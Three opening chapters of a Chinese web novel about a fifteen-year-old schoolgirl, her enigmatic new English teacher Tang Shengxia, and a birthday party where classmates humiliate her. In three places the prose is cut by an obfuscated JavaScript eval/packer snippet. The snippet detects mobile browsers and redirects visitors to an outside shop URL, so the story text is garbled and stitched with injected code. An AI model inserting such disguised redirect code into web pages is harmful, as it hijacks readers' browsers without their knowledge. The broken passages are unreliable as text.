《羁绊》 1. 第一章 初遇 唐盛夏说过：往往吸引人与人在一起的并不是什么志同道合、意趣相投，而正是心底最黑暗的一块，但是，彼此之间要么相互扶持一起走出黑暗，要么相互依赖永远沉沦。 当时，我不以为然。 2004年春 遇见唐盛夏是在那个明媚的午后，他斜坐在落河边的长椅上，铁灰色的天空挡住了太阳，看上去只是模糊的一个发光体悬挂在那里，阳光透过那些还未来得及发芽的僵硬树枝斑驳的洒落在他身上。但是不知道为什么，如此明媚的阳光却并未让他看上去温暖些，反倒是犹如一个黑洞，吸走了它周围所有的光与热。 那个午后，我是翘课去落河边的。 唐盛夏嘴里叼着烟，烟头的火光随着他的呼吸忽明忽暗，烟雾时而从他的嘴边溢出。额前的留海遮住了他的眼睛，最后，还是他白的毫无生机的皮肤和全身黑色的着装给我留下了深刻的印象。 俊美的轮廓，不桀的气质，漆黑的衣着，过长的头发。这就是我对他最初的印象。甚至当时一厢情愿的认为他就是刚被上帝贬落地狱的路西华，是在质疑了上帝的世界观后被剥夺了一切的天使，黑色蔓延，他在经历着蜕变成恶魔的过程，现在，还只是撒旦的雏形。 这是十五岁那年我对唐盛夏的描写，不切实际。但是，在那个年纪的我却已经开始不再相信天堂和童话。岚城就是地狱，而我出生于此，并深陷其中，约翰的福音从未来过，或许对于这个世界，岚城就是“遗忘之都”。 我叫谢妍，高一，就读于被喻为“五毒中学”的“岚城五中”。中考因为英语太差，拉了其他科的成绩，没能进入一个好的高中。我也几乎抱着破罐子破摔的态度混着日子。 我一直都是个笨蛋，笨到很多事情不懂得权衡轻重；笨到不知道学习究竟为了谁；笨到不懂得一张好的成绩单能带来多少连带的“优惠条件”；笨到讨厌哪个老师就翘哪个老师的课；笨到今天又翘了最讨厌又最弱的英语课跑到落河边；笨到狭隘的只看到像堕天使一样的唐盛夏，却没看到躺在他腿上玩弄他胸前项链的女人……甚至，笨到不解风情的说： “这个椅子一直都是我坐的！” 这是我对唐盛夏说的第一句话，虽然我是一个讨厌后悔的人，但如果时光能够倒流，我想换一句，只要没这句这么不解风情，什么都可以。至少再这样回忆起初次相遇时就不会那么囧了。想必那个时候的他，上扬着嘴角看着后续发生的事的时候，就已经觉得我是一个彻头彻尾的大笨蛋了吧…… 初次相遇的二零零四年春天，我十五岁，唐盛夏二十五岁。现在想起，我会否定自己的最初印象。他不是堕天使路西华，更不是恶魔撒旦的雏形，而是上帝派来拯救我离开地狱的天使，在沉沦了十五年的黑暗里唯一的曙光，是岚城这座犹如白夜的城市里唯一真实的光明。只是那个时候的我太黑暗，黑暗到不允许任何光明介入，他才会以与我相同的姿态出现，只有这样，我才会毫无防备的允许他进入我的世界。能与他相遇的我，是得到了如此大的恩惠，与我如此不堪的灵魂和肮脏的身体不配得到的救赎，在今天看来，我应该是诚惶诚恐的接受。而那时的行为，不可否认的，是个无药可救的神经病…… “抱歉，这种公共设施好像不是个人专有的吧！”躺在他腿上的女人懒洋洋的说，“那边有的是椅子，你长眼睛看不见啊！” 我没再说话，一屁股坐在长椅空出来的地方，把MP3的音量调的大大的，塞上耳机，翻开《哈利波特与火焰杯》不再理睬她。是的，就是我没事找事。我佯装专心看书，却用余光注意着她的一举一动，耳朵隐约能听见那个女人在咒骂着什么，我装着听不见，甚至还装着被书中的情结逗的开怀大笑的样子。最后，那个女人愤怒的踹了我一脚，大吼着让我滚开，说我坐在这里她躺着伸不开腿。我转过头，享受的看着她像泼妇一样骂骂咧咧的样子，变态的我就是喜欢看人类丑陋的样子，如此诚实的展露自己的丑陋，她应该是第一人吧！那些看起来再正常不过，再亲和不过的人，灵魂的丑陋也不会表现的如此淋漓尽致。但是真正激怒我的，是唐盛夏上扬的嘴角和头发的缝隙间露出满是笑意的眼睛。他发现我在看他时，不自然的用手被蹭了蹭鼻子遮掩。在那时的我看来，他一定是看穿了一切后的嘲笑。我恼怒的将手里的《哈利波特与火焰杯》丢了过去，可惜砸中的却是那个女人…… 她一声尖叫，双手捂着鼻子，鲜红的血从她的手下流了出来。他慌忙从她的包里寻找纸巾为她擦拭，我原本就有点晕血，加上那个女人的哀嚎，我的腿都有点软了，但还是趁着他们手忙脚乱的时候溜掉了…… 满是污泥的水泥地，一股潮湿的恶臭味袭来，而我却躺在上面！贴着地面的皮肤甚至能感受到湿乎乎的泥巴！眼睛僵直的看着天空，这里应该是一个小巷子，楼与楼之间这么狭窄，挤得天空只有细细的一条。楼，是深灰色的，天空，是浅灰色的，没有阳光，满是阴霾。巷口隐约传来汽车飞速行驶过的声音，似乎还有几个脚步声，我听不清楚谈话的声音，应该是至少两个女人吧！身体是麻木的，麻木到我无法移动，我竭尽全力想转过头看看越来越近的脚步声究竟是谁的，可是却被一个巨大的垃圾桶挡住了视线。脚步声近了，谈话的声音越来越大了，可是我还是听不清具体内容。我想张口问问这个几个人，我在什么地方？为什么我动不了？可是却发不出声音，终于在垃圾桶上方出现了两个人头，果然是两个女人，她们的表情从好奇变成了惊恐，“咚”的一声，不知道什么东西掉了。我睁大眼睛看着她们，想知道怎么回事。她们却一步步的后退，我急切的想挣扎起来，可身体却还是动不了。直到她们先后爆发出的尖叫声伴随着接踵而至离开的脚步声，我才看到，原来让这水泥地上的泥巴变得湿乎乎的，是我的鲜血！ “你叫什么啊！还让不让人睡觉了！”宿舍长曹莉莉的河东狮吼将我的意识拉回了宿舍，得谢谢她！ “我……我做了个噩梦……”我大口大口喘着气说，“吓死我了。”一摸额头，全是冷汗！我靠在冰凉的墙上，努力的平息自己的气息。 “我真想跟老师商量下换个宿舍，这学期开始你老是做噩梦，又尖叫又呐喊的，让我们怎么休息啊。”张雅不高兴的说。 “行了！人家谢妍又不是故意的，做噩梦也是没法自己控制的，要么就去换宿舍，要么赶快睡觉！”包小北仗义的说。 其他人也就不再做声了，蒙着被子睡去。 我靠着墙，不敢再睡，害怕又梦见这些。一定是因为白天受的刺激，每次看见血以后就做这样的梦……我决定不睡了，这样等到天亮去上课吧。可恶！才两点半，离天亮跑操还有四个小时呢！住校真不好，如果在家还能上网消磨一下时间，破宿舍连电都没有，什么也干不了。我塞上耳机，看着窗外漆黑的教学楼发呆…… 上午最后一节课又是英语！本想继续翘课的，可是之前的物理课拖堂，拖到上课铃都打了，没跑掉……一想到要见到教英语的刘老师，我的胃就抽搐着。 但是今天上课铃都打了好一会了，也没见刘老师那肥硕的身影进来。我正暗自高兴和同桌李韵一起诅咒他死掉时，班主任进来了。 “刘老师今天早上来学校的路上出车祸了，现在在医院，”赵老师说，我高兴极了，我的诅咒竟然灵验啦！“所以，临时由新来的唐老师给大家代课。”还是要上课啊……我把脸埋进胳膊里，爬在桌子上。该死的英语……如果这个世界的通用语言是汉语该有多好啊…… “同学们好！我叫唐盛夏，临时代大家的英语课。” 唐盛夏？还唐春秋，唐老鸭呢！ “唐老师是岚城大学英语系毕业的，英语非常非常好，你们有什么不懂的就多问，不过，别因为唐老师年龄跟你们差的不大就欺负人哦！”赵老师说。 啰嗦死了！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096336|195622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是~！”全班同学这么统一？见鬼了！ “谢妍！还没到午睡时间呢！起来！”赵老师对我大吼。 我才没睡觉呢……我只是不想上英语课而已。我赶紧坐起来，整理整理头发。前排的袁圆回过头，对我高傲一笑，我应付的咧了咧嘴。 “你还睡！看，新来的英语老师多帅！”同桌李韵说。 我眯着眼睛向讲台看去，视力越来越不行了，估计得配个眼睛了。讲台上矮小的赵老师身边站着一个很高很瘦的男人，身材倒不错，就是看不清五官，又是一身黑，最近很流行吗？ “奔丧啊，那么黑……”我嘟哝着，隐约想起一个人，难道？ “他是我见过板寸发型最帅的男人~！”李韵抓着我的胳膊使劲的摇着。 “切~”我不屑的从嘴里挤出这个音。板寸？那肯定不是他了，他那一头飘逸的长发，肯定是很细心的呵护着的。 “好了，安静！安静！上课了！”赵老师说完，走出了教室。 “谢妍，这回换老师了，可就不是你想翘课就能翘的了！刘老师不在，以后没人罩着你了。”袁圆转过来语气优美的说。 “妍妍才没翘课呢！她是因为身体不舒服才回宿舍的。”李韵为我说。 “是呀~每次英语课身体都不舒服，今天要不是物理课拖堂，她的身体还是会不舒服的，对不对呀？” “你怎么说话呢！”李韵火了。 “好了，好了，随她说去，别计较了，上课上课……”我耐着性子劝和，我可不希望事情闹大…… “我说的都是事实，别仗着你跟刘老师熟就天不怕地不怕，你就一关系户！”袁圆也克制不住的大声吼。 “怎么吵架了？”我正忙着劝和，可到底是引来了新老师…… “哼！”袁圆瞪了我一眼，转了过去。 “她骂谢……”李韵刚要解释，我拦住了。 “没事没事，老师对不起，打扰你上课了……”我忙陪着不是。 “同学之间要好好相处，”呸！真是冠冕堂皇的说辞，“给！妍妍，谢谢你借给我的书，很精彩！” 我的《哈利波特与火焰杯》！他叫我什么？！妍妍？！什么精彩？！他话里有话！我惊愕的看着他，这轮廓，这似笑非笑看了就让人火大的眼睛，真是剪了头发的他！他叫什么来着？！唐盛夏！！！！ 他见我没有伸手接过书，就放在了我的桌子上，转身向讲台走去，我却僵住了…… “关系户！你人脉还挺广啊！”袁圆扔过来一句话，然后使劲用凳子顶了一下我的桌子，桌子一斜，铅笔盒和书本全部都掉在了值日生刚拖过的地上，我慌忙蹲下去去捡…… 这么说来，那个躺在他腿上的女人，那么亲密，应该是他女朋友吧……如果，他追究起我拿书砸她鼻子的事情；如果，他发现那个时间我出现在落河边是旷课；如果，他告诉班主任；如果，被发现每次我都打着生病的旗号翘课；如果，被学校发现，我会被处分，甚至退学…… 我爸，会打死我的…… 一节课我都心惊胆颤的看着他，他却眉飞色舞的讲着课。班里气氛被他调动的也很活跃，似乎除了我，每一个人都很享受他的教学方式。他的笑容那么明媚，感染着班里的每一个人，和昨天落河边懒散的瘫在长椅上叼着烟的颓废形象简直判若两人。午后那么灿烂的阳光照在他身上都无法让他看上去有一丝积极向上的气息，现在他的举手投足间在说明他是一个“三好青年”，难道只是简单的发型改变就能有这种质的变化吗？我不敢相信！想起他刚才递给我书的时候，他的眼神释放出的压迫感让我僵在那里根本不敢去接……他……真是一个恐怖的人！想到这里，我不寒而栗…… 终于熬到下课铃响，我赶紧跑回宿舍，越快离开越好！而这一切的反应，纯属本能…… 所以说，我终归就是个笨蛋…… 2. 第二章 女人 唐盛夏说过：女人往往总是对自己摸不透的男人感兴趣，所以总是前赴后继的受伤，因为她们永远不明白，这一切都是自找的。 当时，我不以为然。 “哎~今天我看见新来的那个唐老师是开车走的。”晚上宿舍的“卧谈会”上曹莉莉说。 “什么车啊？”张雅随口问。 “黑色的小车，那车可好看了，唐老师拉开车门的时候我看见车门下面接合的地方有排淡蓝色的发光字：Blue bird。”曹莉莉说。 “蓝鸟？那是什么车？”张雅问。 “日本车，”包小北加入了进来，“那车要二三十万呢！还不知道是什么型号的，我爸他们单位的领导就开的这个牌子的车。” “天！那么贵！唐老师看上去也不大啊！哪儿来的那么多钱？”张雅感叹到。 “哎~你们说，唐老师如果那么有钱，干嘛还来咱们学校教书啊？”包小北问，“而且今天赵老师说他是岚城大学英语系毕业的，他学的也不是师范呀，为什么要当老师呢？岚城大学的英语系多牛X啊，那个特有名的记者，就是伊拉克战争那会老出现在电视上的记者就是岚城大学英语系毕业的！” “哼，这不摆着一个知道的人么？”曹莉莉说，“问谢妍啊！今天唐老师不是还特亲密的叫她‘妍妍’呢么？”这语气够酸的，我不知道怎么回答她们，总不能实话实说吧……装睡好了。“切！睡了？我不信，我们声音这么大她还能睡得着？谢妍！谢！妍！！！！” “好了好了，别叫了，她昨晚为了不吵我们，坐在床上听了一晚上的歌没睡，别喊了！”包小北说。 小北，你真善良！我不是怕吵到你们，是害怕做噩梦才不敢睡的…… “不过，唐老师真的长的太帅了！！！！”张雅激动的说。 “是啊！又帅！貌似又有钱，简直就是童话故事里的王子殿下嘛~”包小北也犯起了花痴。 “最重要的是他人也超好！今天跟他提问，那么多人都是一个一个耐心解答的~！没有一点不耐烦的样子，性格简直太完美了！”曹莉莉兴奋的说。 “当她女朋友岂不是幸福死了？”张雅也附和着。 “真希望刘老师别出院，这样就一直能让唐老师带咱们了，唐老师的课比他有意思多了，语法也很快就学会了，哪像刘老师，就只会听写单词和读课文，他那发音，简直不敢恭维……”包小北说。 “哈哈~！是啊！最重要的是刘老师是个死胖子，而唐老师是个大帅哥~！”张雅兴奋的说。 “哎~对了，那次开宿舍管理会议的时候，高年级的学姐说，刘老师品行不端！”曹莉莉压低了声音，“好像曾经在别的学校搞大过学生的肚子！最后家长闹到学校逼他辞职，然后他实在没出路了，才来咱们学校的。” “不是吧！那么老，那么丑，还那么肥，恶心死了！”张雅不自主的放大了声音。 “703安静！”宿管阿姨敲门提醒，“别聊啦！睡觉！再说话就扣分了！” 大家默默的蒙上被子睡觉了，我的胃却一阵阵的反酸，恶心死了…… 昨晚恶心的一整夜没睡着，早上起床的时候头又开始疼，黎明那会本来睡着了，可是又梦见了那个巷子，最后还是没睡多久就尖叫着醒来了……包小北说帮我请假，让我好好在宿舍休息，可是在床上躺着胃又开始难受，于是爬起来决定去落河边透透气。 落河边的那个长椅对我来说是不可或缺的，在学校有不开心的事情，只要坐在上面，似乎就能把所有的坏心情都吸走，尤其是坐在那里看着落河的水向东流去，似乎不愿意面对的事情都能被河水卷走。 “这个椅子一直都是我坐的！” 我回过头，看见唐盛夏右手搭在一个花枝招展的女人肩上，似笑非笑的用我说过的话对我说。 “要你管。”我不服气的顶了回去。 “我是你老师，我不管谁管？你怎么老逃课来这里？落河水又脏又臭的。”说着，他皱了皱眉头。 “我也比这落河水干净不了多少。” “喔？为什么？”他搂着那个女人坐到了我旁边。 哎？这个女人不是上次那个被我砸的女人！难道？！我诧异的看着他，指了指那个女人，“这……？” “啊！来介绍一下，这个是妍妍，这个是……是什么来着？文文？”他一副吊儿郎当的颓废样。 “盛夏，你真讨厌！人家是小倩啦！”那个女人娇羞的捶了一下他的胸膛。 我厌恶的看着唐盛夏，天！这个人私生活究竟有多乱？难道女朋友多到都记不清叫什么了吗？想想他在学校一本正经的样子，难道他是故意装成这样的？到底哪个才是真实的他？我警惕的往旁边挪了挪，和他保持距离。 “哈哈~随便什么，你先回去吧！我要跟学生好好谈谈心。”唐盛夏打发她离开。 “盛夏，你好过分哦~连未成年都不放过！” “这是我学生，你的想法太龌龊了，拜拜，小秋，回头在联系你，赶快走吧！” “都说了人家是小倩啦！哼！”那个女人生气的走了。 “来！现在给我解释一下为什么吧！”唐盛夏饶有兴趣的看着我。 “上次那个呢？”我转移了话题，我没义务对你有问必答，“换了？” “哪个啊？！”他挠挠后脑勺，突然换了一副认真的面孔看着我，“她鼻子骨折了，所以我就换了。” “什么！”我下意识的摸了一下自己的鼻子，“没那么严重吧！” “嗯！非常严重！”唐盛夏抱着双臂，看着地板，一脸沉痛的样子，“你那书砸断了她的鼻梁骨。” “你……不是骗我吧？！”人类没这么脆弱吧！这家伙恐怕在耍我。 “真的，她现在还在医院呢！”他认真的说，看上去怎么像在强忍着笑。 “我不信！” “那我带你去看！” “好！” 唐盛夏一愣，可能是没料到我竟然答应了，迟疑了一下，才站起来向他的车走去，我跟在他后面，他这一反应更能让我确定是在骗我了，虽然《哈利波特与火焰杯》是目前所出的系列里最厚的，但是那本书也没多沉啊！以前我的鼻子还被排球击中过呢，那可比书狠多了，也没骨折啊！最多也就是留了鼻血，然后肿了一个礼拜就好了啊！她又不是瓷娃娃，还骨折？开什么玩笑！ “怎么了？信了？”唐盛夏见我没上车，问。 我没说话，看见他的车突然很害怕，毕竟，在某种程度，他也算是陌生人。 “哎呀！我是老师，能把你怎么样？”他似乎觉察到了我的顾忌，伸手拉开车门，“是你要去看的，医院离这稍微有点距离，不过开车十多分钟就能到，去了如果见到她，你可千万别笑，不然……” “别碰我！”我甩开他搭在我肩膀上的手，他是想扶我进车，还是……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096337|195622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么了？我只是让你上车……不然你自己上？”唐盛夏狐疑的看着我。 我的心开始狂跳，心慌，耳朵开始轰鸣……他会不会？他有那么多女朋友，品行一定不好……我跟他去，万一……想到这里，我转身拔腿就跑，安全第一！ “喂！你……”他似乎想说什么。 我拼了命的往宿舍跑，他会不会追上来，然后…… “谢妍！”包小北一把拉开被子，“你要捂死你自己啊！” 我冲她没心没肺的嘿嘿一笑。 “你不嫌热啊！”她白了我一眼，走到桌子旁，“起来吃点东西，我从食堂给你带的粥，去喝了！” “嗯。”我爬起来，乖乖的去喝粥。 “看样子没什么事了吧！头不疼了下午就去上课吧，不然会跟不上的。” “好。”有个人关心真好，心里暖暖的。 晚自习没想到竟然是唐盛夏看我们班，不过还好女生们争先恐后的提问，我跟他也没什么交流的机会，只要安静的做作业就好了。 其实，仔细想想，是我反应太过度了，她那么多女友，想怎么着也不会找我下手，他不是缺女人的人。而且，他应该是真的要带我去看那个女人的吧……唉！真是我自己的问题，明显防卫过度…… “叹什么气？哪道题不会做？”不知道什么时候他竟然站到我旁边了，我环视了一下四周，大家都在安静的埋头写作业，这会儿竟然没人提问了？ “化学啊，这道题不会？”唐盛夏看了看我胳膊下的题，说。 他表情这么自然，真像一个和蔼可亲的好老师，跟上午那吊儿郎当颓废样判若两人，难道他人格分裂？多重人格？ “发生么呆啊！是不是不会？”他严肃的问。 “啊！是，不会……”我语无伦次了，我果然是个笨蛋…… 于是他蹲在桌子旁，耐心的讲解，其实这道题我真会…… “唐老师，我这道化学题不会。”坐在我前面的袁圆转过来，大声说。 “唐老师，我也不会化学。” “我也是！” “……” “喂！喂！我是英语老师哎~”唐盛夏笑着辩解，但是还是帮其他同学一一解答。或许，他应该是个不错的家伙吧…… 晚自习结束后，李韵拿出一张邀请卡递给我。 “干什么？新年早过完了啊。”我开玩笑的接过来，然后打开…… 是范雅珍的生日邀请卡，范雅珍和袁圆的关系很好，我心里犹然产生了一种不好的预感。 “我跟范雅珍不熟啦，我就不去啦~” “她邀请了好多咱们班的同学，也请我了，一起去吧！而且，我有个很想见到的人……”李韵害羞的说。 “什么人？”我问。 “哎呀！你去了就知道啦~” “我真不去了，周六还有补习班呢！真没时间……”虽然好奇，但是和范雅珍、袁圆有牵扯的一定没好事。 “一周不上没关系啦，我能想到陪我去的人只有你了，妍妍，就这么说定了，周六晚上五点岚城第十人民医院门口见！不见不散！”说完，李韵就跑开了。 看着手上的邀请卡，越发沉重，上面印着的小人笑的也那么诡异，一想到这，我不禁打了个寒颤，看上去真像一张死亡邀请卡…… 但说实话，我的确有点想去，因为我从来没参加过同学的生日Party…… 3. 第三章 圈套 唐盛夏说过：痛恨一个人的时候，也是在痛恨自己。因为自己给了那个人伤害自己的机会。 当时，我不以为然。 四月的岚城已经逐渐变暖，街旁的树叶抽了新芽，但是早晚的温差还是很大。和李韵约好五点在岚城第十人民医院门口见，然后一起坐公交车去位于岚城东路的飞天酒店。那是整个岚城最高级的酒店，听说随便喝个茶都要几百块，更何况是吃顿饭呢！而且还叫了这么多人！听说范雅珍的父亲在山西是做煤矿生意的，真有钱！ 一阵风吹过，我缩了缩脖子，焦急的张望着，五点的岚城天就已经全黑了，果然还没到夏天。还好车站的人比较多。最近学校总是有同学被抢劫，社会治安真的是越来越差了。李韵可真慢，结果在我考虑要不要回去的时候，她来了。 “就是说我跟范雅珍又不熟，干嘛邀请我啊！”正是下班高峰期，公交车上我被挤得透不过气来。 “去看看呗！飞天酒店也不是什么人都消费的起的嘛~”李韵不知道被挤到什么地方去了，大喊着回答我的问题。 真不明白星期六上下班的人怎么也这么多！我已经被挤得七荤八素了……遭罪！ 经过了尽两个小时的蹂躏，我和李韵终于站在飞天酒店的大门口了，以前也只是坐车路过，透过门窗隐约知道这里是个灯火辉煌的世界，今天站在大厅内才切身的感受到什么叫奢华！墙壁上满是美丽的飞天图，黑色的大理石地板打磨的如同镜子，但光而不滑。被服务员指引着走上旋转楼梯，扶手上装饰着蓝莹莹的星星，到了楼梯顶端才看清了大厅的水晶灯究竟有多大，足足有两层楼那么高！ 推开包厢门，才被惊到，足足有四桌人，这生日过的这么大排场，奶奶七十大寿的时候也没这么奢侈吧！有钱人到底是不一样。 看见我和李韵进来，穿着白色蕾丝裙子的范雅珍热情的走过来，拉着我的手说些有的没的恭维话，白色的蕾丝裙子把她的脸衬托的更黑了。我把礼物送给她，她莞尔一笑，随手放在一个全是礼物的桌子上，亲昵的把我安置在这个桌子唯一空着的位置上，我扫了一眼，一桌子的人不是红头发就是黄头发，烟熏妆厚的都掉渣，没一个是我认识的，绝对不是我们学校的。我四下张望寻找李韵的身影，她坐在班里同学的那张桌子，深情的看着我这边，难道她要给我看的人在我这桌？意外的是唐盛夏也来了，范雅珍面子真大！不过看她一脸献媚的凑在那，也够勇敢的。为什么同班同学都在那张桌子，只有我一个人分在这个不认识的位子……有种不详的预感…… “哎~美女，你和范雅珍是一个班级的吗？”坐在我旁边的一个染着浅褐色的头发还带着十字架耳环的男生搭讪。看见这种痞子样就没好感…… “嗯。”我用鼻子哼了一声，真不想坐在这…… “美女，我叫韩槊，怎么称呼啊？”嘿！他还来劲儿了！ “谢妍。”我不耐烦的说。 “呦~谢美女心情不好啊！我就问个名字，这么拽？”他调侃着，我忍。一桌子的人都跟着他笑着，是商量好的吗？ “没有啊~”我露出一个灿烂无比的笑容看着他。他一愣，没想到我不怒反笑。 “谢妍！李韵说，她陪你挤了两个小时的公交车来的，”袁圆隔着大老远吼着，唯恐一屋子的人听不见似的，“你家穷的连车都打不起吗？那你可得多吃点啊，多存点体力好回家啊！哈哈哈哈哈哈哈哈……”其他人也附和着笑了起来。 貌似更穷的是袁圆吧！以前听别的同学说过，她父母都下岗了，供她读书就挺吃力了，本来她学习很好，是能去重点高中的，但因为学费太昂贵，只能来岚城五中。今天她还挖苦起我来了？ 我看了一眼李韵，她赶紧向我摇头。果然，就知道是这样，不然不会平白无故叫我来的。 “啊？是吗！原来你家庭情况这么差啊！挤公交一定很辛苦吧！”韩槊也用大的夸张的声音说。但是看他一脸真诚的样子，还真拿不准是不明白情况，还是有意跟着整我，“那你多吃点，回去路也那么长。”他一个劲的给我夹菜，竟然带动了整个桌子的人给我夹菜！不一会儿，碗里的菜落得有半尺来高。好像农村人进城没吃过饭似的……唉……果然是要整我…… “谢妍，吃啊！不吃白不吃，你舍得浪费吗？想想你的公交车票钱，你也得使劲吃啊，不然捞不回本呀~！哈哈哈哈哈哈哈哈！”袁圆更来劲了，笑的那么妖孽，真想揍她一顿！ “来，喝点饮料，别噎着了。”韩槊递过来一杯可乐，笑着看着我,一双漂亮的眼睛里带着十分的诚意。虽然他长得很好看，收拾的也很时尚，甚至耳朵上还有一个璀璨的十字架耳钉。虽然他明摆着也要欺负我，但是不同于其他人的嘲笑和窃语，很努力的摆出一副无辜的表情。 “谢谢啊！”我从嘴角挤出这三个字，伸手接过他递来的杯子，一松，一杯可乐全部洒在他那满是各种口袋时尚的白色裤子上了。“哎呀，真实对不起，我没接住。”我模仿他一脸无辜的样子道歉。 “你！”韩槊愤怒的站起来。 “没关系，那杯洒了，喝我这杯的。”范雅珍的声音从我头顶传来，刚想转头，头顶就传来了冰凉的感觉，随后就是可乐特有的气味弥漫过来，那凉凉的液体从头顶流过脖子，最后全部滑进了后背的衣服里，我不禁打了一个寒战…… “哎呀，对不起，我的手也滑了……”范雅珍矫情的说，然后一屋子的人哄堂大笑。 唉…… “何必呢？”唐盛夏开口了，屋子里安静了下来，他拿起筷子夹菜，看似漫不经心的说：“好好的十六岁生日，不应该开开心心的和朋友度过吗？何必花这么大的价钱在这里演这出戏？”唐盛夏皱着眉头放下筷子，然后露出了一个灿烂的笑容看着范雅珍。 李韵赶紧跑了过来，拿着餐巾纸帮我擦拭，没用的，后背的衣服全都湿透了…… “谢妍，”范雅珍的眼神又回到了我这里，李韵和我都看着她，包厢里安静极了，“袁圆说你是‘关系户’还真是不假，当初我就好奇凭什么全班只有你逃了刘老师的英语课不受责罚，现在看来，连唐老师和你也有私交啊。”她居高临下的说。周围的人开始窃窃私语。 真想说，你想要这种关系，我随时双手奉上，我巴不得呢！可是，我说不出口……我只能无奈的抽动嘴角，此时笑的一定很勉强吧…… “范雅珍，你太过分了！”李韵愤怒的说。 “没事没事。”我笑着阻止帮我擦拭的李韵，再擦也没有用，都湿透了。 “说到‘关系户’，范同学可能不知道，你们班可有个连中考都没参加就直接进入高中学习的，你有兴趣查查那个人吗？我可以给你一些提示。”唐盛夏接过话，露出一个深不可测的笑容看着范雅珍，“有些事情，与人方便自己也方便，何必较那真呢？”唐盛夏抛给她一个台阶。 范雅珍的表情当时就僵住了，难道唐盛夏说的人，就是她？ “唐老师，你说的是真的吗？”袁圆不看眼色的追问。 唐盛夏又用那副欠揍的笑容对袁圆眨眨眼睛，说：“当然是假的了。好了，同学之间要相互友爱，学校里交的朋友可能是一生的好友哦！来，表演到此结束。”唐盛夏站起来，然后举起手边的可乐，说：“让我们大家一起祝贺今天的小寿星生日快乐吧！”窃窃私语的人也陆续举起了杯子。 “干杯！” 此时包厢的门开了，服务员推着一个双层蛋糕进来，底层的蛋糕上插了一圈蜡烛，顶层有一个穿着白色裙子的小熊，和范雅珍今天的样子真是一摸一样。包厢熄灭了所有的灯，大家一起在唐盛夏的带领下唱着生日祝福歌。我却趁着这难得的黑暗，溜了出去，迅速逃离了这个本来就不该来的Party。 可是，这些都是我自找的…… 逃出飞天酒店，我松了一口气。以后打死也不来了！一阵风吹过，后背的衣服全是湿的，冷极了！我快步向公交车站走去。 坐到公交车上的时候，手表的指针已经指向九点了。真不知道自己究竟来干什么的，演戏？我想到了唐盛夏的形容……就算是演戏，我扮演的也是小丑…… 公交车飞速的前进着，应该是末班车了吧！司机也着急回家，车里算上我只有四个乘客。车窗外的路灯迅速的向后退着，眼花缭乱。突然，一声巨响，好像是轮胎爆了的声音，公交车颠簸的靠着路边缓缓停了下来，司机和售票员下车查看。 “爆胎了！没有备胎，要等公司送过来，时间很久，下车吧！”售票员冲我们喊着。 人要倒霉，和凉水都塞牙…… “后面还有车吗？”前面的情侣问到。 “没了，已经是末班车了，打车回吧！”司机说。“要么就等公司送轮胎过来吧！时间会很久。” 那三个乘客最后还是打车走了，只有我做坐在椅子上不想动，好不容易把塑料椅子捂热了，风一吹又会凉下来，衣服湿的太冷了，我还是等着吧！再说身上的钱连出租车的起步价都不够。 十分钟…… 三十分钟…… 一个小时…… 十一点了！ “师父，都等了一个小时了，什么时候轮胎才来啊？”我忍不住问。 “姑娘，打车回去吧！都这个点了，换完轮胎我们也直接回公司了，不可能单独送你的。”司机叼着烟，就着昏暗的灯光翻着报纸说。 “不早说！”我生气的下车，早知道就早点打车回了，让老妈下来付钱也行……都这个时间了，更不好打到车了…… 我沿着马路边走边等出租车，见鬼了！人真是一倒霉，事事都不顺…… 是因为我今天不该来参加这个生日聚会吗？所以神给我了这么多的惩罚？还是因为我诅咒了刘老师，灵验后的代价？他本来就该死！没撞死他都是神的仁慈！如果今天的倒霉事作为诅咒他的代价，那我到很乐意接受，并且希望倒霉的事情能来的更猛烈些！因为这些比起他被撞算不了什么，而我巴不得这些霉运会乘以十倍百倍的让他承受，这是很划算的等价交换！ 呃……好冷！这个时间真是打不到车了…… “谢妍！”唐盛夏开着他的车突然出现，“大老远就看着像你。”他把车靠路边停了下来，下车，走到我面前，“怎么半天才到这？八点半你不就溜了吗？这都快十二点了。” “公交车半路坏……坏了……”我冻的嘴都不利索了。 “怎么不打……路太偏了，又是这个时间，出租车基本不过了……行了，上车吧！我送你回去。”唐盛夏刚要拉我，突然停下，继而转身拉开了车门。 他果然发现了…… “你家怎么走？”上车以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“第二是，想亲眼确定你是不是他们所谓的‘关系户’。看我到底会不会在你被欺负的时候帮你。啧啧，现在的高中生啊，城府真深。”他感慨着。 “那这么说来，我是被你害的！谁叫你第一次上课就那么暧昧的叫我‘妍妍’。”我不满的说。 “就算我没这么叫，这一切也是早都安排好的。只不过就是邀不邀请我去而已。”他笑了一下，又是那副欠揍的笑容。“对了，那个在我之前教英语的刘老师到底偏心你到什么地步？你们班的同学今天好歹也来了十几个，除了你的那个朋友，没一个帮你说话的，这简直引起公愤了嘛！” 干嘛要跟我提那个死胖子…… “说说吧，怎么回事？”唐盛夏面无表情的看着前方，问。 